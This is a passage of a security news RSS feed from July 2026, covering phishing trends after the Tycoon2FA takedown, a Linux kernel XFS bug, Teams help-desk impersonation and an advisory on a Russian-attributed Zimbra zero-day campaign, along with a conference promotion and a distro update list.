<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in docker (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3692040/unix-server/security-mehrere-probleme-in-docker-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692040/unix-server/security-mehrere-probleme-in-docker-suse/</guid>
<pubDate>Fri, 24 Jul 2026 18:32:18 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (glibc, java-21-openjdk, kernel, and libpq), Debian (imagemagick, spice-vdagent, and webkit2gtk), Fedora (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), Mageia (apache, cifs-utils, dnsmasq, lrzip, and s...]]></description>
<link>https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 24 Jul 2026 15:13:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (glibc, java-21-openjdk, kernel, and libpq), <b>Debian</b> (imagemagick, spice-vdagent, and webkit2gtk), <b>Fedora</b> (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), <b>Mageia</b> (apache, cifs-utils, dnsmasq, lrzip, and socat), <b>Oracle</b> (.NET 10.0, .NET 9.0, 389-ds-base, cups, edk2, fence-agents, firefox, freeipmi, freerdp, git-lfs, glib2, gnutls, golang, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, libinput, libvirt, libxml2, memcached, nginx, openexr, perl-DBI, perl-XML-LibXML, php, php8.4, plexus-utils, postgresql16, python3.12, python3.14, sssd, tomcat, tomcat9, unbound, vim, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker-package-manager), <b>Red Hat</b> (container-tools:rhel8, git-lfs, go-toolset:rhel8, golang, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, host-metering, java-1.8.0-openjdk, java-11-openjdk with Extended Lifecycle Support, java-17-openjdk, java-21-openjdk, oci-seccomp-bpf-hook, rhc, rhc-worker-playbook, skopeo, xorg-x11-server, xorg-x11-server-Xwayland, and yggdrasil), <b>Slackware</b> (mozilla-thunderbird), <b>SUSE</b> (afterburn, alloy, apache-sshd, apache2, avahi, chromium, clamav, curl, dhcpcd, dnsmasq, docker-compose, ffmpeg-7, firefox-esr, gawk, glibc, gnutls, go1.26-openssl, google-osconfig-agent, gpg2, haproxy, ImageMagick, imagemagick, jline3, jq, kernel, libgcrypt, libgnt, meson, pidgin, nmap, nodejs24, pacemaker, patch, perl-HTML-Parser, perl-libwww-perl, perl-List-SomeUtils-XS, python-aiohttp, python-WebOb, qemu, rust-keylime, SVT-AV1, libyuv0, libaom3, trivy, ucode-intel, and wireshark), and <b>Ubuntu</b> (libhttp-date-perl, libxpm, linux-azure, linux-azure-fde, pam, and rsyslog).]]></content:encoded>
</item>
<item>
<title><![CDATA[LHB Linux Digest #26.09: Docker Compose Override, Claude Skills for DevOps, Solidtime and More]]></title>
<description><![CDATA[Override the compose]]></description>
<link>https://tsecurity.de/de/3691440/linux-tipps/lhb-linux-digest-2609-docker-compose-override-claude-skills-for-devops-solidtime-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691440/linux-tipps/lhb-linux-digest-2609-docker-compose-override-claude-skills-for-devops-solidtime-and-more/</guid>
<pubDate>Fri, 24 Jul 2026 13:44:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Override the compose]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</guid>
<pubDate>Fri, 24 Jul 2026 12:33:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tycoon2FA takedown reshapes the phishing landscape]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</guid>
<pubDate>Fri, 24 Jul 2026 12:26:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[RefluXFS: Gefährlicher Kernel-Bug verleiht Root-Zugriff unter Linux]]></title>
<description><![CDATA[Eine Sicherheitslücke im Linux-Kernel lässt Angreifer beliebige Dateien auf XFS-Volumes überschreiben. Root-Rechte sind damit leicht zu beschaffen. (Sicherheitslücke, Fedora)]]></description>
<link>https://tsecurity.de/de/3691111/it-nachrichten/refluxfs-gefaehrlicher-kernel-bug-verleiht-root-zugriff-unter-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691111/it-nachrichten/refluxfs-gefaehrlicher-kernel-bug-verleiht-root-zugriff-unter-linux/</guid>
<pubDate>Fri, 24 Jul 2026 11:24:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eine Sicherheitslücke im Linux-Kernel lässt Angreifer beliebige Dateien auf XFS-Volumes überschreiben. Root-Rechte sind damit leicht zu beschaffen. (<a href="https://www.golem.de/specials/sicherheitsluecke/">Sicherheitslücke</a>, <a href="https://www.golem.de/specials/fedora/">Fedora</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211245&amp;page=1&amp;ts=1784883902" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access]]></title>
<description><![CDATA[Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape...]]></description>
<link>https://tsecurity.de/de/3690838/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690838/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</guid>
<pubDate>Fri, 24 Jul 2026 08:40:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/">Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access]]></title>
<description><![CDATA[Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape...]]></description>
<link>https://tsecurity.de/de/3690814/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690814/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</guid>
<pubDate>Fri, 24 Jul 2026 08:26:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape data for Q2 2026 shows a sharp downstream impact from the March disruption of the […]</p>
<p>The post <a href="https://gbhackers.com/microsoft-teams-abused-2/">Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]></title>
<description><![CDATA[A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activ...]]></description>
<link>https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</guid>
<pubDate>Fri, 24 Jul 2026 08:25:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Zimbra-phishing-campaign.gif" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Zimbra phishing campaign" decoding="async" title="Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit 1"></p>A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29111">exploit</a>. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
<h3><strong>Zimbra Phishing Campaign Uses CVE-2025-66376</strong></h3>
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability </a>before a patch was released. According to the <a href="https://www.ic3.gov/CSA/2026/260723.pdf" target="_blank" rel="nofollow noopener">advisory</a>, the activity began in July 2025, months before the vulnerability was published and patched.

The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29110">vulnerability</a> allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29112">data</a>.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29108">vulnerabilities</a> into a successful attack capability.
<h3><strong>LAUNDRY BEAR Targets Email and Sensitive Data</strong></h3>
The primary objective of the Russian state-supported <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29109">cyber</a> actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29114">phishing</a> emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
<h3><strong>Ulej and Flowerbed Support Email Data Exfiltration</strong></h3>
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for <a href="https://thecyberexpress.com/ai-driven-phishing-campaign/" target="_blank" rel="noopener">email data exfiltration</a>.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
<h3><strong>Organizations Urged to Patch Vulnerable Zimbra Systems</strong></h3>
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

<a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29107">Security</a> teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving <a class="wpil_keyword_link" href="https://thecyberexpress.com/how-to-get-a-vpn/" title="VPN" data-wpil-keyword-link="linked" data-wpil-monitor-id="29113">VPN</a> providers such as Mullvad.

Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Update Cryptsetup for AF_ALG Compatibility]]></title>
<description><![CDATA[Cryptsetup 2.8.7 addresses the AF_ALG fallout affecting encrypted Linux systems. This guide walks you through updating cryptsetup across Ubuntu, Fedora, and Arch, verifying LUKS volumes work correctly, testing encryption performance, and troubleshooting boot issues to avoid failures.]]></description>
<link>https://tsecurity.de/de/3690479/linux-tipps/how-to-update-cryptsetup-for-afalg-compatibility/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690479/linux-tipps/how-to-update-cryptsetup-for-afalg-compatibility/</guid>
<pubDate>Fri, 24 Jul 2026 02:10:35 +0200</pubDate>
